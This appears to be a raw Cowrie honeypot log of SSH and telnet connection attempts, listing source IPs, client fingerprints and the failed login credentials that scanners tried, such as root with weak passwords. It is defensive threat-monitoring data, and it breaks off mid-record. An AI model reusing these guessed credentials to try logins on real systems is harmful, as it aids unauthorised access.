{"eventid":"cowrie.session.closed","duration":42.41835904121399,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:29:25.601051Z","src_ip":"192.119.13.58","session":"389dfbf56345","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.14626097679138,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:29:28.035763Z","src_ip":"192.119.13.58","session":"762662be19bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.23955249786377,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:29:31.332086Z","src_ip":"192.119.13.58","session":"f7136c6c8a27","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"150.109.25.130","src_port":55040,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f8c0e8a78bd","protocol":"ssh","message":"New connection: 150.109.25.130:55040 (159.203.135.109:22) [session: 4f8c0e8a78bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:29:32.315987Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:29:32.321300Z","src_ip":"150.109.25.130","session":"4f8c0e8a78bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:29:32.568446Z","src_ip":"150.109.25.130","session":"4f8c0e8a78bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"applprod","message":"login attempt [root/applprod] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:29:33.582411Z","src_ip":"150.109.25.130","session":"4f8c0e8a78bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:29:34.831427Z","src_ip":"150.109.25.130","session":"4f8c0e8a78bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.43837237358093,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:29:36.207191Z","src_ip":"192.119.13.58","session":"61a30ad7ce4f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.17388463020325,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:29:37.993428Z","src_ip":"192.119.13.58","session":"ef4f11d85342","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39034,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffce335f3884","protocol":"telnet","message":"New connection: 192.119.13.58:39034 (10.17.0.5:23) [session: ffce335f3884]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:29:41.578611Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.121.249","src_port":34518,"dst_ip":"159.203.135.109","dst_port":22,"session":"4044ea149732","protocol":"ssh","message":"New connection: 43.163.121.249:34518 (159.203.135.109:22) [session: 4044ea149732]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:29:42.649093Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:29:42.654489Z","src_ip":"43.163.121.249","session":"4044ea149732","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40232,"dst_ip":"10.17.0.5","dst_port":23,"session":"b41ae0e2d710","protocol":"telnet","message":"New connection: 192.119.13.58:40232 (10.17.0.5:23) [session: b41ae0e2d710]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:29:42.834423Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:29:42.902177Z","src_ip":"43.163.121.249","session":"4044ea149732","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pa","message":"login attempt [root/pa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:29:43.912749Z","src_ip":"43.163.121.249","session":"4044ea149732","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.2580726146698,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:29:43.977615Z","src_ip":"192.119.13.58","session":"9cf158025c90","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:29:45.162546Z","src_ip":"43.163.121.249","session":"4044ea149732","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.02342891693115,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:29:45.231786Z","src_ip":"192.119.13.58","session":"1772710478ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.249","src_port":60114,"dst_ip":"159.203.135.109","dst_port":22,"session":"d65f457109ae","protocol":"ssh","message":"New connection: 165.154.5.249:60114 (159.203.135.109:22) [session: d65f457109ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:29:46.329399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:29:46.334628Z","src_ip":"165.154.5.249","session":"d65f457109ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:29:46.552697Z","src_ip":"165.154.5.249","session":"d65f457109ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ding123","message":"login attempt [root/ding123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:29:47.457333Z","src_ip":"165.154.5.249","session":"d65f457109ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:29:48.680758Z","src_ip":"165.154.5.249","session":"d65f457109ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.67595982551575,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:29:51.438869Z","src_ip":"192.119.13.58","session":"b824979d8a0c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36050,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8f0df7f4b9d","protocol":"telnet","message":"New connection: 192.119.13.58:36050 (10.17.0.5:23) [session: f8f0df7f4b9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:29:54.902984Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46706,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d9c0a80d993","protocol":"telnet","message":"New connection: 192.119.13.58:46706 (10.17.0.5:23) [session: 1d9c0a80d993]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:29:57.412237Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47102,"dst_ip":"10.17.0.5","dst_port":23,"session":"81ac4fc3373a","protocol":"telnet","message":"New connection: 192.119.13.58:47102 (10.17.0.5:23) [session: 81ac4fc3373a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:29:57.540492Z"}
{"eventid":"cowrie.session.closed","duration":38.472649574279785,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:29:59.301079Z","src_ip":"192.119.13.58","session":"9040e9cfa1c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57698,"dst_ip":"10.17.0.5","dst_port":23,"session":"c16433edcad4","protocol":"telnet","message":"New connection: 192.119.13.58:57698 (10.17.0.5:23) [session: c16433edcad4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:00.120679Z"}
{"eventid":"cowrie.session.closed","duration":0.0053555965423583984,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:00.125910Z","src_ip":"192.119.13.58","session":"c16433edcad4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":46259,"dst_ip":"159.203.135.109","dst_port":23,"session":"4044b5b285d3","protocol":"telnet","message":"New connection: 186.195.16.41:46259 (159.203.135.109:23) [session: 4044b5b285d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:00.830869Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33818,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a2344aba70b","protocol":"telnet","message":"New connection: 192.119.13.58:33818 (10.17.0.5:23) [session: 6a2344aba70b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:01.202329Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36410,"dst_ip":"10.17.0.5","dst_port":23,"session":"4aeea34a8601","protocol":"telnet","message":"New connection: 192.119.13.58:36410 (10.17.0.5:23) [session: 4aeea34a8601]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:01.776318Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37022,"dst_ip":"10.17.0.5","dst_port":23,"session":"dfd55555180f","protocol":"telnet","message":"New connection: 192.119.13.58:37022 (10.17.0.5:23) [session: dfd55555180f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:01.920648Z"}
{"eventid":"cowrie.session.connect","src_ip":"175.118.127.138","src_port":36388,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d98d1c863c2","protocol":"ssh","message":"New connection: 175.118.127.138:36388 (10.17.0.5:22) [session: 6d98d1c863c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:04.588345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:04.596921Z","src_ip":"175.118.127.138","session":"6d98d1c863c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:04.777298Z","src_ip":"175.118.127.138","session":"6d98d1c863c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ventas05","password":"123456","message":"login attempt [ventas05/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:05.521790Z","src_ip":"175.118.127.138","session":"6d98d1c863c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51606,"dst_ip":"10.17.0.5","dst_port":23,"session":"d793493625a4","protocol":"telnet","message":"New connection: 192.119.13.58:51606 (10.17.0.5:23) [session: d793493625a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:05.742555Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:06.704441Z","src_ip":"175.118.127.138","session":"6d98d1c863c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33880,"dst_ip":"10.17.0.5","dst_port":23,"session":"dea057f91279","protocol":"telnet","message":"New connection: 192.119.13.58:33880 (10.17.0.5:23) [session: dea057f91279]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:08.326438Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38480,"dst_ip":"10.17.0.5","dst_port":23,"session":"51d06f4f8587","protocol":"telnet","message":"New connection: 192.119.13.58:38480 (10.17.0.5:23) [session: 51d06f4f8587]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:09.588868Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":52360,"dst_ip":"159.203.135.109","dst_port":22,"session":"44bb44b6325d","protocol":"ssh","message":"New connection: 109.237.96.109:52360 (159.203.135.109:22) [session: 44bb44b6325d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:13.059563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:13.074718Z","src_ip":"109.237.96.109","session":"44bb44b6325d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:13.156022Z","src_ip":"109.237.96.109","session":"44bb44b6325d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qweasdzxc1","message":"login attempt [root/qweasdzxc1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:13.530735Z","src_ip":"109.237.96.109","session":"44bb44b6325d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:14.638096Z","src_ip":"109.237.96.109","session":"44bb44b6325d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.88166570663452,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:14.715758Z","src_ip":"192.119.13.58","session":"b41ae0e2d710","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60990,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a43636c50be","protocol":"telnet","message":"New connection: 192.119.13.58:60990 (10.17.0.5:23) [session: 5a43636c50be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:15.046440Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39170,"dst_ip":"10.17.0.5","dst_port":23,"session":"1922218150f5","protocol":"telnet","message":"New connection: 192.119.13.58:39170 (10.17.0.5:23) [session: 1922218150f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:16.575820Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.51.73.24","src_port":19302,"dst_ip":"10.17.0.5","dst_port":22,"session":"19814bb29222","protocol":"ssh","message":"New connection: 122.51.73.24:19302 (10.17.0.5:22) [session: 19814bb29222]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:19.787151Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:19.796427Z","src_ip":"122.51.73.24","session":"19814bb29222","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.15341567993164,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:30:20.731922Z","src_ip":"192.119.13.58","session":"ffce335f3884","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 